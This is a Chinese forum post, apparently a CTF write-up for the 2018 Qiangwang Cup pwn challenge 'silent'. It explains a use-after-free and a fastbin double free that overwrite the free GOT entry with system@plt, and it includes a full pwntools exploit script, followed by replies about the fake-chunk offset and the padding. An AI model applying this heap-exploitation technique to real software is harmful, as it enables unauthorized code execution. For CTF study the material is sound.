首页
社区
课程
招聘
[原创]2018 强网杯 silent
2018-4-15 16:00 6327

[原创]2018 强网杯 silent

2018-4-15 16:00
6327
ida 直接f5 分析一波~



在del这个函数里
可以看到指针free后并没有置null 还有.bss段里的指针值也没清0
所以uaf 和 fastbin 的double free 都是可以用的 用这两个来干嘛呢?没错当然是用来overwrite got的
思路就是 先申请3 个 大小为0x60的chunk 在第3个chunk里边提前写好/bin/sh 为什要0x60的size呢? 因为我们要用fastbin 的 corrupt 申请到一块位于free got 前面的一块内存 这里的fake chunk 位置在0x601ffa 这里
然后我们对这个内存进行写就会覆盖掉free got 的值 这样我们overwrite got的目的就达到了
现在我们依次delete 0 delete 1 delete 0 这样fast bin的currupt就构造好了 然后因为uaf可以用 所以edit掉chunk0 的 fd 然后连续申请2次相同大小的chunk 在第二次就会让我们申请到free got 前面的地址 也就是 0x601ffa 这里

然后我们就可以对这块内存进行写 既然要overwrite free got 那我们要用什么来overwrite呢?
 
因为这里程序调用了system 函数 所以我们可以考虑用system的plt overwrite free的 got 

那么在overwrite free got之前的值怎么办呢?直接一路padding过去就行了 
然后free 之前申请的第3个chunk 就相当于执行了 system("/bin/sh")
总结:
       uaf fastbin-doublefree fastbin-dup overwrite got
完整exp:
            
#!/usr/bin/env python

from pwn import *

r = process('./silent')

def add(size,content):   
    r.sendline('1') 
    r.sendline(str(size))  
    r.sendline(content)
    r.sendline()

def delete(index):   
    r.sendline('2')   
    r.sendline(str(index))

def edit(index,content):   
    r.sendline('3')   
    r.sendline(str(index))   
    r.sendline(content)

system_plt = 0x400730
addr = 0x602000-6
print r.recv()
add(0x50,'A'*48) #0
add(0x50,'B'*50) #1
add(0x50,'/bin/sh') #2
#corrupt fastbin
delete(0)
delete(1)
delete(0)
#overwrite fd pointer of fastbin chunk
edit(0,p64(addr))
#fastbin dup
add(0x50,'3'*0x5f)
add(0x50,('\x41'*14)+p64(system_plt))
#trigger system
delete(2)
r.interactive()


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞0
打赏
分享
最新回复 (3)
雪    币: 14
活跃值: (10)
能力值: ( LV3,RANK:23 )
在线值:
发帖
回帖
粉丝
刘xfff 2018-4-24 09:17
2
0
got表-6  这操作真的骚
雪    币: 1689
活跃值: (178)
能力值: ( LV7,RANK:103 )
在线值:
发帖
回帖
粉丝
Snowleo 1 2018-9-26 12:35
3
0
还是没懂为什么是0x60的size,而且free_got不是位于0x602018吗,这么它前面一块内存在0x602000-6了?
还有,为什么要填充14个A呢?这个是怎么确定的?
请大佬明示
最后于 2018-9-26 16:04 被Snowleo编辑 ,原因:
雪    币: 1689
活跃值: (178)
能力值: ( LV7,RANK:103 )
在线值:
发帖
回帖
粉丝
Snowleo 1 2018-9-28 11:07
4
0
Snowleo 还是没懂为什么是0x60的size,而且free_got不是位于0x602018吗,这么它前面一块内存在0x602000-6了?还有,为什么要填充14个A呢?这个是怎么确定的?请大佬明示
经过向大佬们请教学习后,了解到got表头有一个0x60值(至于为什么会在got表存在这样一个chunk,能力有限,也望大佬明示),而这个值就位于0x601ffa处,从这里分配一个chunk,数据段就从0x601ffa+16 = 0x60200a开始,距离0x602018有14个字节,因此padding长度就为14。
游客
登录 | 注册 方可回帖
返回